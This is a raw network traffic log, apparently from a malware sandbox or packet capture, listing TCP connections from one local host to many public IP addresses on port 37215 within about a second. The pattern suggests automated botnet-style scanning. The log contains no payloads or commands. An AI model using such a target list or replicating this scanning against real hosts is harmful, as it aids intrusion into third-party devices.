Sep 25, 2024 14:14:24.485397100 CEST	38284	37215	192.168.2.14	41.251.54.51
Sep 25, 2024 14:14:24.485397100 CEST	38284	37215	192.168.2.14	41.251.54.51
Sep 25, 2024 14:14:24.485408068 CEST	37215	51600	197.157.8.210	192.168.2.14
Sep 25, 2024 14:14:24.485435963 CEST	51600	37215	192.168.2.14	197.157.8.210
Sep 25, 2024 14:14:24.485436916 CEST	40402	37215	192.168.2.14	41.240.129.181
Sep 25, 2024 14:14:24.485582113 CEST	37215	36564	197.61.96.1	192.168.2.14
Sep 25, 2024 14:14:24.485586882 CEST	38450	37215	192.168.2.14	41.251.54.51
Sep 25, 2024 14:14:24.485615015 CEST	36564	37215	192.168.2.14	197.61.96.1
Sep 25, 2024 14:14:24.485788107 CEST	37215	53422	197.244.192.231	192.168.2.14
Sep 25, 2024 14:14:24.485822916 CEST	33476	37215	192.168.2.14	41.164.43.67
Sep 25, 2024 14:14:24.485822916 CEST	33476	37215	192.168.2.14	41.164.43.67
Sep 25, 2024 14:14:24.486007929 CEST	33642	37215	192.168.2.14	41.164.43.67
Sep 25, 2024 14:14:24.486265898 CEST	54112	37215	192.168.2.14	156.63.146.130
Sep 25, 2024 14:14:24.486265898 CEST	54112	37215	192.168.2.14	156.63.146.130
Sep 25, 2024 14:14:24.486460924 CEST	54502	37215	192.168.2.14	156.63.146.130
Sep 25, 2024 14:14:24.486521006 CEST	37215	46250	156.107.216.86	192.168.2.14
Sep 25, 2024 14:14:24.486707926 CEST	52912	37215	192.168.2.14	197.219.131.173
Sep 25, 2024 14:14:24.486717939 CEST	52912	37215	192.168.2.14	197.219.131.173
Sep 25, 2024 14:14:24.486926079 CEST	53282	37215	192.168.2.14	197.219.131.173
Sep 25, 2024 14:14:24.487147093 CEST	33702	37215	192.168.2.14	41.8.124.140
Sep 25, 2024 14:14:24.487166882 CEST	33702	37215	192.168.2.14	41.8.124.140
Sep 25, 2024 14:14:24.487348080 CEST	34072	37215	192.168.2.14	41.8.124.140
Sep 25, 2024 14:14:24.487772942 CEST	55558	37215	192.168.2.14	197.232.30.114
Sep 25, 2024 14:14:24.488070965 CEST	37215	50236	156.1.92.175	192.168.2.14
Sep 25, 2024 14:14:24.488166094 CEST	57882	37215	192.168.2.14	156.188.255.235
Sep 25, 2024 14:14:24.488276958 CEST	37215	53134	156.140.88.204	192.168.2.14
Sep 25, 2024 14:14:24.488557100 CEST	38288	37215	192.168.2.14	156.31.128.84
Sep 25, 2024 14:14:24.488806963 CEST	37215	52412	156.51.4.31	192.168.2.14
Sep 25, 2024 14:14:24.488955021 CEST	58782	37215	192.168.2.14	156.103.4.128
Sep 25, 2024 14:14:24.489264965 CEST	37215	52778	156.51.4.31	192.168.2.14
Sep 25, 2024 14:14:24.489356995 CEST	58736	37215	192.168.2.14	41.218.193.174
Sep 25, 2024 14:14:24.489624977 CEST	52778	37215	192.168.2.14	156.51.4.31
Sep 25, 2024 14:14:24.489738941 CEST	42306	37215	192.168.2.14	156.180.118.136
Sep 25, 2024 14:14:24.489906073 CEST	37215	35530	156.158.99.136	192.168.2.14
Sep 25, 2024 14:14:24.490134954 CEST	34046	37215	192.168.2.14	197.138.129.194
Sep 25, 2024 14:14:24.490534067 CEST	56418	37215	192.168.2.14	156.74.183.182
Sep 25, 2024 14:14:24.490611076 CEST	37215	46548	41.16.107.48	192.168.2.14
Sep 25, 2024 14:14:24.490922928 CEST	59670	37215	192.168.2.14	41.87.151.254
Sep 25, 2024 14:14:24.491240978 CEST	37215	38284	41.251.54.51	192.168.2.14
Sep 25, 2024 14:14:24.491317034 CEST	49436	37215	192.168.2.14	41.32.71.209
Sep 25, 2024 14:14:24.491712093 CEST	41088	37215	192.168.2.14	41.205.212.169
Sep 25, 2024 14:14:24.492120028 CEST	55862	37215	192.168.2.14	197.138.209.232
Sep 25, 2024 14:14:24.492315054 CEST	37215	33476	41.164.43.67	192.168.2.14
Sep 25, 2024 14:14:24.492325068 CEST	37215	54112	156.63.146.130	192.168.2.14
Sep 25, 2024 14:14:24.492515087 CEST	45368	37215	192.168.2.14	156.41.234.84
Sep 25, 2024 14:14:24.492959976 CEST	38452	37215	192.168.2.14	156.174.86.165
Sep 25, 2024 14:14:24.493400097 CEST	37215	52912	197.219.131.173	192.168.2.14
Sep 25, 2024 14:14:24.493499041 CEST	37215	33702	41.8.124.140	192.168.2.14
Sep 25, 2024 14:14:24.493731022 CEST	45114	37215	192.168.2.14	197.103.231.195
Sep 25, 2024 14:14:24.495102882 CEST	41800	37215	192.168.2.14	156.45.38.194
Sep 25, 2024 14:14:24.495680094 CEST	57370	37215	192.168.2.14	197.225.21.22
Sep 25, 2024 14:14:24.496589899 CEST	37215	41088	41.205.212.169	192.168.2.14
Sep 25, 2024 14:14:24.496609926 CEST	51604	37215	192.168.2.14	197.89.121.177
Sep 25, 2024 14:14:24.496632099 CEST	41088	37215	192.168.2.14	41.205.212.169
Sep 25, 2024 14:14:24.497231960 CEST	33616	37215	192.168.2.14	41.13.242.126
Sep 25, 2024 14:14:24.497764111 CEST	45812	37215	192.168.2.14	156.239.3.244
Sep 25, 2024 14:14:24.498220921 CEST	52778	37215	192.168.2.14	156.51.4.31
Sep 25, 2024 14:14:24.498251915 CEST	41088	37215	192.168.2.14	41.205.212.169
Sep 25, 2024 14:14:24.498260975 CEST	41088	37215	192.168.2.14	41.205.212.169
Sep 25, 2024 14:14:24.498440981 CEST	41108	37215	192.168.2.14	41.205.212.169
Sep 25, 2024 14:14:24.501715899 CEST	49716	37215	192.168.2.14	41.72.103.157
Sep 25, 2024 14:14:24.501718998 CEST	56766	37215	192.168.2.14	197.56.33.39
Sep 25, 2024 14:14:24.501718998 CEST	37280	37215	192.168.2.14	156.207.227.232
Sep 25, 2024 14:14:24.501722097 CEST	58298	37215	192.168.2.14	156.67.103.139
Sep 25, 2024 14:14:24.501724958 CEST	60742	37215	192.168.2.14	197.146.211.230
Sep 25, 2024 14:14:24.501727104 CEST	58938	37215	192.168.2.14	156.184.32.219
Sep 25, 2024 14:14:24.501734018 CEST	34298	37215	192.168.2.14	156.54.131.208
Sep 25, 2024 14:14:24.501737118 CEST	39520	37215	192.168.2.14	156.10.201.221
Sep 25, 2024 14:14:24.501738071 CEST	43816	37215	192.168.2.14	41.183.69.4
Sep 25, 2024 14:14:24.501753092 CEST	58470	37215	192.168.2.14	41.164.93.141
Sep 25, 2024 14:14:24.501753092 CEST	50770	37215	192.168.2.14	156.133.190.48
Sep 25, 2024 14:14:24.501753092 CEST	45288	37215	192.168.2.14	197.127.121.218
Sep 25, 2024 14:14:24.501754045 CEST	35068	37215	192.168.2.14	156.217.168.64
Sep 25, 2024 14:14:24.501765966 CEST	34602	37215	192.168.2.14	41.66.249.255
Sep 25, 2024 14:14:24.501765966 CEST	52878	37215	192.168.2.14	41.197.196.94
Sep 25, 2024 14:14:24.503005028 CEST	37215	52778	156.51.4.31	192.168.2.14
Sep 25, 2024 14:14:24.503046036 CEST	52778	37215	192.168.2.14	156.51.4.31
Sep 25, 2024 14:14:24.503061056 CEST	37215	41088	41.205.212.169	192.168.2.14
Sep 25, 2024 14:14:24.525805950 CEST	37215	39572	41.201.186.158	192.168.2.14
Sep 25, 2024 14:14:24.525834084 CEST	37215	52972	197.27.230.23	192.168.2.14
Sep 25, 2024 14:14:24.525844097 CEST	37215	50064	156.17.146.209	192.168.2.14
Sep 25, 2024 14:14:24.525861979 CEST	37215	44158	156.238.211.38	192.168.2.14
Sep 25, 2024 14:14:24.525871992 CEST	37215	44664	41.113.152.50	192.168.2.14
Sep 25, 2024 14:14:24.525880098 CEST	37215	34250	41.185.217.106	192.168.2.14
Sep 25, 2024 14:14:24.533725023 CEST	37215	52412	156.51.4.31	192.168.2.14
Sep 25, 2024 14:14:24.533777952 CEST	37215	53134	156.140.88.204	192.168.2.14
Sep 25, 2024 14:14:24.533787012 CEST	37215	50236	156.1.92.175	192.168.2.14
Sep 25, 2024 14:14:24.533797979 CEST	37215	46250	156.107.216.86	192.168.2.14
Sep 25, 2024 14:14:24.533817053 CEST	37215	53422	197.244.192.231	192.168.2.14
Sep 25, 2024 14:14:24.533827066 CEST	37215	33702	41.8.124.140	192.168.2.14
Sep 25, 2024 14:14:24.533835888 CEST	37215	52912	197.219.131.173	192.168.2.14
Sep 25, 2024 14:14:24.533844948 CEST	37215	54112	156.63.146.130	192.168.2.14
Sep 25, 2024 14:14:24.533854008 CEST	37215	33476	41.164.43.67	192.168.2.14
Sep 25, 2024 14:14:24.533864021 CEST	37215	38284	41.251.54.51	192.168.2.14
Sep 25, 2024 14:14:24.533873081 CEST	37215	46548	41.16.107.48	192.168.2.14
Sep 25, 2024 14:14:24.533881903 CEST	37215	35530	156.158.99.136	192.168.2.14
Sep 25, 2024 14:14:24.545752048 CEST	37215	41088	41.205.212.169	192.168.2.14
Sep 25, 2024 14:14:24.757740021 CEST	41166	37215	192.168.2.14	41.66.16.76
Sep 25, 2024 14:14:24.757740021 CEST	55444	37215	192.168.2.14	197.3.194.22
Sep 25, 2024 14:14:24.757741928 CEST	40276	37215	192.168.2.14	41.4.228.194
Sep 25, 2024 14:14:24.762532949 CEST	37215	41166	41.66.16.76	192.168.2.14
Sep 25, 2024 14:14:24.762628078 CEST	41166	37215	192.168.2.14	41.66.16.76
Sep 25, 2024 14:14:24.762661934 CEST	37215	55444	197.3.194.22	192.168.2.14
Sep 25, 2024 14:14:24.762671947 CEST	37215	40276	41.4.228.194	192.168.2.14
Sep 25, 2024 14:14:24.762706995 CEST	40276	37215	192.168.2.14	41.4.228.194
Sep 25, 2024 14:14:24.762752056 CEST	55444	37215	192.168.2.14	197.3.194.22
Sep 25, 2024 14:14:24.762891054 CEST	40276	37215	192.168.2.14	41.4.228.194
Sep 25, 2024 14:14:24.762926102 CEST	55444	37215	192.168.2.14	197.3.194.22
Sep 25, 2024 14:14:24.762948036 CEST	41166	37215	192.168.2.14	41.66.16.76
Sep 25, 2024 14:14:24.762948036 CEST	41166	37215	192.168.2.14	41.66.16.76
Sep 25, 2024 14:14:24.763358116 CEST	41314	37215	192.168.2.14	41.66.16.76
Sep 25, 2024 14:14:24.767726898 CEST	37215	41166	41.66.16.76	192.168.2.14
Sep 25, 2024 14:14:24.768105030 CEST	37215	40276	41.4.228.194	192.168.2.14
Sep 25, 2024 14:14:24.768151045 CEST	40276	37215	192.168.2.14	41.4.228.194
Sep 25, 2024 14:14:24.768204927 CEST	37215	55444	197.3.194.22	192.168.2.14
Sep 25, 2024 14:14:24.768254995 CEST	55444	37215	192.168.2.14	197.3.194.22
Sep 25, 2024 14:14:24.768348932 CEST	37215	41314	41.66.16.76	192.168.2.14
Sep 25, 2024 14:14:24.768398046 CEST	41314	37215	192.168.2.14	41.66.16.76
Sep 25, 2024 14:14:24.768424988 CEST	41314	37215	192.168.2.14	41.66.16.76
Sep 25, 2024 14:14:24.773509979 CEST	37215	41314	41.66.16.76	192.168.2.14
Sep 25, 2024 14:14:24.773571014 CEST	41314	37215	192.168.2.14	41.66.16.76
Sep 25, 2024 14:14:24.789705038 CEST	34208	37215	192.168.2.14	197.18.20.241
Sep 25, 2024 14:14:24.794591904 CEST	37215	34208	197.18.20.241	192.168.2.14
Sep 25, 2024 14:14:24.794681072 CEST	34208	37215	192.168.2.14	197.18.20.241
Sep 25, 2024 14:14:24.794810057 CEST	34208	37215	192.168.2.14	197.18.20.241
Sep 25, 2024 14:14:24.794810057 CEST	34208	37215	192.168.2.14	197.18.20.241
Sep 25, 2024 14:14:24.795155048 CEST	34352	37215	192.168.2.14	197.18.20.241
Sep 25, 2024 14:14:24.799619913 CEST	37215	34208	197.18.20.241	192.168.2.14
Sep 25, 2024 14:14:24.799998999 CEST	37215	34352	197.18.20.241	192.168.2.14
Sep 25, 2024 14:14:24.800069094 CEST	34352	37215	192.168.2.14	197.18.20.241
Sep 25, 2024 14:14:24.800069094 CEST	34352	37215	192.168.2.14	197.18.20.241
Sep 25, 2024 14:14:24.805778980 CEST	37215	34352	197.18.20.241	192.168.2.14
Sep 25, 2024 14:14:24.805927992 CEST	37215	34352	197.18.20.241	192.168.2.14
Sep 25, 2024 14:14:24.806014061 CEST	34352	37215	192.168.2.14	197.18.20.241
Sep 25, 2024 14:14:24.809838057 CEST	37215	41166	41.66.16.76	192.168.2.14
Sep 25, 2024 14:14:24.821724892 CEST	39748	37215	192.168.2.14	156.144.65.65
Sep 25, 2024 14:14:24.821737051 CEST	58010	37215	192.168.2.14	156.188.5.100
Sep 25, 2024 14:14:24.821768045 CEST	42246	37215	192.168.2.14	156.12.35.216
Sep 25, 2024 14:14:24.827939987 CEST	37215	39748	156.144.65.65	192.168.2.14
Sep 25, 2024 14:14:24.827955008 CEST	37215	58010	156.188.5.100	192.168.2.14
Sep 25, 2024 14:14:24.827965021 CEST	37215	42246	156.12.35.216	192.168.2.14
Sep 25, 2024 14:14:24.828006029 CEST	39748	37215	192.168.2.14	156.144.65.65
Sep 25, 2024 14:14:24.828042030 CEST	58010	37215	192.168.2.14	156.188.5.100
Sep 25, 2024 14:14:24.828059912 CEST	42246	37215	192.168.2.14	156.12.35.216
Sep 25, 2024 14:14:24.828077078 CEST	39748	37215	192.168.2.14	156.144.65.65
Sep 25, 2024 14:14:24.828191996 CEST	42246	37215	192.168.2.14	156.12.35.216
Sep 25, 2024 14:14:24.828192949 CEST	42246	37215	192.168.2.14	156.12.35.216
Sep 25, 2024 14:14:24.828515053 CEST	42388	37215	192.168.2.14	156.12.35.216
Sep 25, 2024 14:14:24.828773022 CEST	58010	37215	192.168.2.14	156.188.5.100
Sep 25, 2024 14:14:24.828773022 CEST	58010	37215	192.168.2.14	156.188.5.100
Sep 25, 2024 14:14:24.828979015 CEST	58150	37215	192.168.2.14	156.188.5.100
Sep 25, 2024 14:14:24.833029985 CEST	37215	42246	156.12.35.216	192.168.2.14
Sep 25, 2024 14:14:24.833185911 CEST	37215	39748	156.144.65.65	192.168.2.14
Sep 25, 2024 14:14:24.833229065 CEST	39748	37215	192.168.2.14	156.144.65.65
Sep 25, 2024 14:14:24.833309889 CEST	37215	42388	156.12.35.216	192.168.2.14
Sep 25, 2024 14:14:24.833353043 CEST	42388	37215	192.168.2.14	156.12.35.216
Sep 25, 2024 14:14:24.833374023 CEST	42388	37215	192.168.2.14	156.12.35.216
Sep 25, 2024 14:14:24.833548069 CEST	37215	58010	156.188.5.100	192.168.2.14
Sep 25, 2024 14:14:24.834063053 CEST	37215	58150	156.188.5.100	192.168.2.14
Sep 25, 2024 14:14:24.834130049 CEST	58150	37215	192.168.2.14	156.188.5.100
Sep 25, 2024 14:14:24.834130049 CEST	58150	37215	192.168.2.14	156.188.5.100
Sep 25, 2024 14:14:24.838454962 CEST	37215	42388	156.12.35.216	192.168.2.14
Sep 25, 2024 14:14:24.838500023 CEST	42388	37215	192.168.2.14	156.12.35.216
Sep 25, 2024 14:14:24.839164972 CEST	37215	58150	156.188.5.100	192.168.2.14
Sep 25, 2024 14:14:24.839212894 CEST	58150	37215	192.168.2.14	156.188.5.100
Sep 25, 2024 14:14:24.846302032 CEST	37215	34208	197.18.20.241	192.168.2.14
Sep 25, 2024 14:14:24.853699923 CEST	46010	37215	192.168.2.14	41.80.213.82
Sep 25, 2024 14:14:24.858884096 CEST	37215	46010	41.80.213.82	192.168.2.14
Sep 25, 2024 14:14:24.858977079 CEST	46010	37215	192.168.2.14	41.80.213.82
Sep 25, 2024 14:14:24.859029055 CEST	46010	37215	192.168.2.14	41.80.213.82
Sep 25, 2024 14:14:24.864628077 CEST	37215	46010	41.80.213.82	192.168.2.14
Sep 25, 2024 14:14:24.864672899 CEST	46010	37215	192.168.2.14	41.80.213.82
Sep 25, 2024 14:14:24.874157906 CEST	37215	58010	156.188.5.100	192.168.2.14
Sep 25, 2024 14:14:24.874300003 CEST	37215	42246	156.12.35.216	192.168.2.14
Sep 25, 2024 14:14:24.949701071 CEST	41360	37215	192.168.2.14	197.145.224.15
Sep 25, 2024 14:14:24.949714899 CEST	50834	37215	192.168.2.14	197.231.214.166
Sep 25, 2024 14:14:24.949722052 CEST	48762	37215	192.168.2.14	197.10.195.1
Sep 25, 2024 14:14:24.955241919 CEST	37215	41360	197.145.224.15	192.168.2.14
Sep 25, 2024 14:14:24.955257893 CEST	37215	50834	197.231.214.166	192.168.2.14
Sep 25, 2024 14:14:24.955266953 CEST	37215	48762	197.10.195.1	192.168.2.14
Sep 25, 2024 14:14:24.955338001 CEST	41360	37215	192.168.2.14	197.145.224.15
Sep 25, 2024 14:14:24.955341101 CEST	50834	37215	192.168.2.14	197.231.214.166
Sep 25, 2024 14:14:24.955353022 CEST	48762	37215	192.168.2.14	197.10.195.1
Sep 25, 2024 14:14:24.955542088 CEST	48762	37215	192.168.2.14	197.10.195.1
Sep 25, 2024 14:14:24.955542088 CEST	48762	37215	192.168.2.14	197.10.195.1
Sep 25, 2024 14:14:24.955813885 CEST	48866	37215	192.168.2.14	197.10.195.1
Sep 25, 2024 14:14:24.956053972 CEST	41360	37215	192.168.2.14	197.145.224.15
Sep 25, 2024 14:14:24.956068039 CEST	41360	37215	192.168.2.14	197.145.224.15
Sep 25, 2024 14:14:24.956294060 CEST	41464	37215	192.168.2.14	197.145.224.15
Sep 25, 2024 14:14:24.956578016 CEST	50834	37215	192.168.2.14	197.231.214.166
Sep 25, 2024 14:14:24.956599951 CEST	50834	37215	192.168.2.14	197.231.214.166
Sep 25, 2024 14:14:24.956784010 CEST	50946	37215	192.168.2.14	197.231.214.166
Sep 25, 2024 14:14:24.963016033 CEST	37215	48762	197.10.195.1	192.168.2.14
Sep 25, 2024 14:14:24.963028908 CEST	37215	48866	197.10.195.1	192.168.2.14
Sep 25, 2024 14:14:24.963037968 CEST	37215	41360	197.145.224.15	192.168.2.14
Sep 25, 2024 14:14:24.963067055 CEST	48866	37215	192.168.2.14	197.10.195.1
Sep 25, 2024 14:14:24.963103056 CEST	48866	37215	192.168.2.14	197.10.195.1
Sep 25, 2024 14:14:24.963598967 CEST	37215	41464	197.145.224.15	192.168.2.14
Sep 25, 2024 14:14:24.963609934 CEST	37215	50834	197.231.214.166	192.168.2.14
Sep 25, 2024 14:14:24.963619947 CEST	37215	50946	197.231.214.166	192.168.2.14
Sep 25, 2024 14:14:24.963637114 CEST	41464	37215	192.168.2.14	197.145.224.15
Sep 25, 2024 14:14:24.963665009 CEST	41464	37215	192.168.2.14	197.145.224.15
Sep 25, 2024 14:14:24.963665009 CEST	50946	37215	192.168.2.14	197.231.214.166
Sep 25, 2024 14:14:24.963700056 CEST	50946	37215	192.168.2.14	197.231.214.166
Sep 25, 2024 14:14:24.969527960 CEST	37215	48866	197.10.195.1	192.168.2.14
Sep 25, 2024 14:14:24.969568968 CEST	48866	37215	192.168.2.14	197.10.195.1
Sep 25, 2024 14:14:24.969965935 CEST	37215	41464	197.145.224.15	192.168.2.14
Sep 25, 2024 14:14:24.970004082 CEST	41464	37215	192.168.2.14	197.145.224.15
Sep 25, 2024 14:14:24.970146894 CEST	37215	50946	197.231.214.166	192.168.2.14
Sep 25, 2024 14:14:24.970197916 CEST	50946	37215	192.168.2.14	197.231.214.166
Sep 25, 2024 14:14:24.981697083 CEST	59392	37215	192.168.2.14	197.189.126.49
Sep 25, 2024 14:14:24.981698036 CEST	54894	37215	192.168.2.14	197.186.2.97
Sep 25, 2024 14:14:24.981703997 CEST	53498	37215	192.168.2.14	41.4.56.229
Sep 25, 2024 14:14:24.987030983 CEST	37215	59392	197.189.126.49	192.168.2.14
Sep 25, 2024 14:14:24.987041950 CEST	37215	53498	41.4.56.229	192.168.2.14
Sep 25, 2024 14:14:24.987051010 CEST	37215	54894	197.186.2.97	192.168.2.14
Sep 25, 2024 14:14:24.987082005 CEST	59392	37215	192.168.2.14	197.189.126.49
Sep 25, 2024 14:14:24.987082005 CEST	54894	37215	192.168.2.14	197.186.2.97
Sep 25, 2024 14:14:24.987103939 CEST	53498	37215	192.168.2.14	41.4.56.229
Sep 25, 2024 14:14:24.987117052 CEST	54894	37215	192.168.2.14	197.186.2.97
Sep 25, 2024 14:14:24.987128019 CEST	59392	37215	192.168.2.14	197.189.126.49
Sep 25, 2024 14:14:24.987225056 CEST	53498	37215	192.168.2.14	41.4.56.229
Sep 25, 2024 14:14:24.987225056 CEST	53498	37215	192.168.2.14	41.4.56.229
Sep 25, 2024 14:14:24.987565994 CEST	53602	37215	192.168.2.14	41.4.56.229
Sep 25, 2024 14:14:24.995353937 CEST	37215	53498	41.4.56.229	192.168.2.14
Sep 25, 2024 14:14:24.995517015 CEST	37215	54894	197.186.2.97	192.168.2.14
Sep 25, 2024 14:14:24.995527983 CEST	37215	53602	41.4.56.229	192.168.2.14
Sep 25, 2024 14:14:24.995536089 CEST	37215	59392	197.189.126.49	192.168.2.14
Sep 25, 2024 14:14:24.995588064 CEST	53602	37215	192.168.2.14	41.4.56.229
Sep 25, 2024 14:14:24.995587111 CEST	54894	37215	192.168.2.14	197.186.2.97
Sep 25, 2024 14:14:24.995587111 CEST	59392	37215	192.168.2.14	197.189.126.49
Sep 25, 2024 14:14:24.995621920 CEST	53602	37215	192.168.2.14	41.4.56.229
Sep 25, 2024 14:14:25.002126932 CEST	37215	53602	41.4.56.229	192.168.2.14
Sep 25, 2024 14:14:25.002172947 CEST	53602	37215	192.168.2.14	41.4.56.229
Sep 25, 2024 14:14:25.010205984 CEST	37215	50834	197.231.214.166	192.168.2.14
Sep 25, 2024 14:14:25.010221004 CEST	37215	41360	197.145.224.15	192.168.2.14
Sep 25, 2024 14:14:25.010231972 CEST	37215	48762	197.10.195.1	192.168.2.14
Sep 25, 2024 14:14:25.013684034 CEST	45812	37215	192.168.2.14	197.219.43.34
Sep 25, 2024 14:14:25.019064903 CEST	37215	45812	197.219.43.34	192.168.2.14
Sep 25, 2024 14:14:25.019114017 CEST	45812	37215	192.168.2.14	197.219.43.34
Sep 25, 2024 14:14:25.019134998 CEST	45812	37215	192.168.2.14	197.219.43.34
Sep 25, 2024 14:14:25.025785923 CEST	37215	45812	197.219.43.34	192.168.2.14
Sep 25, 2024 14:14:25.025830030 CEST	45812	37215	192.168.2.14	197.219.43.34
Sep 25, 2024 14:14:25.039134026 CEST	37215	53498	41.4.56.229	192.168.2.14
Sep 25, 2024 14:14:25.493678093 CEST	38452	37215	192.168.2.14	156.174.86.165
Sep 25, 2024 14:14:25.493683100 CEST	45368	37215	192.168.2.14	156.41.234.84
Sep 25, 2024 14:14:25.493683100 CEST	55862	37215	192.168.2.14	197.138.209.232
Sep 25, 2024 14:14:25.493693113 CEST	49436	37215	192.168.2.14	41.32.71.209
Sep 25, 2024 14:14:25.493700981 CEST	59670	37215	192.168.2.14	41.87.151.254
Sep 25, 2024 14:14:25.493705988 CEST	56418	37215	192.168.2.14	156.74.183.182
Sep 25, 2024 14:14:25.493724108 CEST	58736	37215	192.168.2.14	41.218.193.174
Sep 25, 2024 14:14:25.493724108 CEST	34046	37215	192.168.2.14	197.138.129.194
Sep 25, 2024 14:14:25.493724108 CEST	42306	37215	192.168.2.14	156.180.118.136
Sep 25, 2024 14:14:25.493736029 CEST	58782	37215	192.168.2.14	156.103.4.128
Sep 25, 2024 14:14:25.493745089 CEST	38288	37215	192.168.2.14	156.31.128.84
Sep 25, 2024 14:14:25.493757010 CEST	55558	37215	192.168.2.14	197.232.30.114
Sep 25, 2024 14:14:25.493761063 CEST	34072	37215	192.168.2.14	41.8.124.140
Sep 25, 2024 14:14:25.493769884 CEST	53282	37215	192.168.2.14	197.219.131.173
Sep 25, 2024 14:14:25.493766069 CEST	57882	37215	192.168.2.14	156.188.255.235
Sep 25, 2024 14:14:25.493778944 CEST	33642	37215	192.168.2.14	41.164.43.67
Sep 25, 2024 14:14:25.493782043 CEST	54502	37215	192.168.2.14	156.63.146.130
Sep 25, 2024 14:14:25.493787050 CEST	38450	37215	192.168.2.14	41.251.54.51
Sep 25, 2024 14:14:25.493788004 CEST	46914	37215	192.168.2.14	41.16.107.48
Sep 25, 2024 14:14:25.493801117 CEST	53500	37215	192.168.2.14	156.140.88.204
Sep 25, 2024 14:14:25.493802071 CEST	35896	37215	192.168.2.14	156.158.99.136
Sep 25, 2024 14:14:25.493805885 CEST	50602	37215	192.168.2.14	156.1.92.175
Sep 25, 2024 14:14:25.493808031 CEST	46408	37215	192.168.2.14	156.107.216.86
Sep 25, 2024 14:14:25.493820906 CEST	53788	37215	192.168.2.14	197.244.192.231
Sep 25, 2024 14:14:25.493827105 CEST	53108	37215	192.168.2.14	197.27.230.23
Sep 25, 2024 14:14:25.493834019 CEST	50200	37215	192.168.2.14	156.17.146.209
Sep 25, 2024 14:14:25.493834972 CEST	39708	37215	192.168.2.14	41.201.186.158
Sep 25, 2024 14:14:25.493844986 CEST	44802	37215	192.168.2.14	41.113.152.50
Sep 25, 2024 14:14:25.493848085 CEST	34392	37215	192.168.2.14	41.185.217.106
Sep 25, 2024 14:14:25.493864059 CEST	56090	37215	192.168.2.14	197.103.80.54
Sep 25, 2024 14:14:25.493865967 CEST	44294	37215	192.168.2.14	156.238.211.38
Sep 25, 2024 14:14:25.493866920 CEST	44766	37215	192.168.2.14	197.30.224.191
Sep 25, 2024 14:14:25.493870974 CEST	45678	37215	192.168.2.14	156.160.112.195
Sep 25, 2024 14:14:25.493874073 CEST	34316	37215	192.168.2.14	197.190.69.137
Sep 25, 2024 14:14:25.493880987 CEST	45922	37215	192.168.2.14	156.22.33.252
Sep 25, 2024 14:14:25.493896008 CEST	55028	37215	192.168.2.14	156.152.3.117
Sep 25, 2024 14:14:25.493900061 CEST	43854	37215	192.168.2.14	41.117.24.187
Sep 25, 2024 14:14:25.493905067 CEST	55088	37215	192.168.2.14	156.63.107.70
Sep 25, 2024 14:14:25.493907928 CEST	52350	37215	192.168.2.14	156.138.102.107
Sep 25, 2024 14:14:25.493916988 CEST	58602	37215	192.168.2.14	197.198.163.194
Sep 25, 2024 14:14:25.498529911 CEST	37215	45368	156.41.234.84	192.168.2.14
Sep 25, 2024 14:14:25.498570919 CEST	37215	55862	197.138.209.232	192.168.2.14
Sep 25, 2024 14:14:25.498580933 CEST	37215	38452	156.174.86.165	192.168.2.14
Sep 25, 2024 14:14:25.498589993 CEST	37215	49436	41.32.71.209	192.168.2.14
Sep 25, 2024 14:14:25.498600006 CEST	37215	59670	41.87.151.254	192.168.2.14
Sep 25, 2024 14:14:25.498600960 CEST	45368	37215	192.168.2.14	156.41.234.84
Sep 25, 2024 14:14:25.498608112 CEST	37215	56418	156.74.183.182	192.168.2.14
Sep 25, 2024 14:14:25.498625040 CEST	55862	37215	192.168.2.14	197.138.209.232
Sep 25, 2024 14:14:25.498625040 CEST	38452	37215	192.168.2.14	156.174.86.165
Sep 25, 2024 14:14:25.498631001 CEST	49436	37215	192.168.2.14	41.32.71.209
Sep 25, 2024 14:14:25.498647928 CEST	56418	37215	192.168.2.14	156.74.183.182
Sep 25, 2024 14:14:25.498651028 CEST	59670	37215	192.168.2.14	41.87.151.254
Sep 25, 2024 14:14:25.498748064 CEST	63353	37215	192.168.2.14	156.204.119.239
Sep 25, 2024 14:14:25.498752117 CEST	63353	37215	192.168.2.14	41.62.184.97
Sep 25, 2024 14:14:25.498765945 CEST	63353	37215	192.168.2.14	41.212.141.92
Sep 25, 2024 14:14:25.498765945 CEST	63353	37215	192.168.2.14	156.181.180.92
Sep 25, 2024 14:14:25.498783112 CEST	63353	37215	192.168.2.14	156.18.192.245
Sep 25, 2024 14:14:25.498786926 CEST	63353	37215	192.168.2.14	156.127.70.28
Sep 25, 2024 14:14:25.498790979 CEST	63353	37215	192.168.2.14	156.189.114.235
Sep 25, 2024 14:14:25.498791933 CEST	63353	37215	192.168.2.14	156.212.161.32
Sep 25, 2024 14:14:25.498796940 CEST	63353	37215	192.168.2.14	41.239.114.94
Sep 25, 2024 14:14:25.498806953 CEST	63353	37215	192.168.2.14	156.251.54.231
Sep 25, 2024 14:14:25.498812914 CEST	63353	37215	192.168.2.14	197.12.87.129
Sep 25, 2024 14:14:25.498821020 CEST	63353	37215	192.168.2.14	197.94.200.193
Sep 25, 2024 14:14:25.498840094 CEST	63353	37215	192.168.2.14	197.60.166.192
Sep 25, 2024 14:14:25.498851061 CEST	63353	37215	192.168.2.14	156.239.122.27
Sep 25, 2024 14:14:25.498851061 CEST	63353	37215	192.168.2.14	156.225.218.158
Sep 25, 2024 14:14:25.498852015 CEST	63353	37215	192.168.2.14	156.187.201.235
Sep 25, 2024 14:14:25.498852015 CEST	63353	37215	192.168.2.14	197.78.143.131
Sep 25, 2024 14:14:25.498863935 CEST	63353	37215	192.168.2.14	197.141.72.222
Sep 25, 2024 14:14:25.498876095 CEST	63353	37215	192.168.2.14	41.255.242.176
Sep 25, 2024 14:14:25.498882055 CEST	63353	37215	192.168.2.14	156.250.43.76
Sep 25, 2024 14:14:25.498882055 CEST	37215	58736	41.218.193.174	192.168.2.14
Sep 25, 2024 14:14:25.498893023 CEST	63353	37215	192.168.2.14	156.171.152.43
Sep 25, 2024 14:14:25.498899937 CEST	63353	37215	192.168.2.14	156.158.105.241
Sep 25, 2024 14:14:25.498903990 CEST	63353	37215	192.168.2.14	41.156.111.157
Sep 25, 2024 14:14:25.498903990 CEST	63353	37215	192.168.2.14	41.79.119.224
Sep 25, 2024 14:14:25.498905897 CEST	63353	37215	192.168.2.14	156.248.57.255
Sep 25, 2024 14:14:25.498944044 CEST	58736	37215	192.168.2.14	41.218.193.174
Sep 25, 2024 14:14:25.498961926 CEST	63353	37215	192.168.2.14	197.247.35.202
Sep 25, 2024 14:14:25.498961926 CEST	63353	37215	192.168.2.14	41.51.35.238
Sep 25, 2024 14:14:25.498961926 CEST	63353	37215	192.168.2.14	41.130.77.93
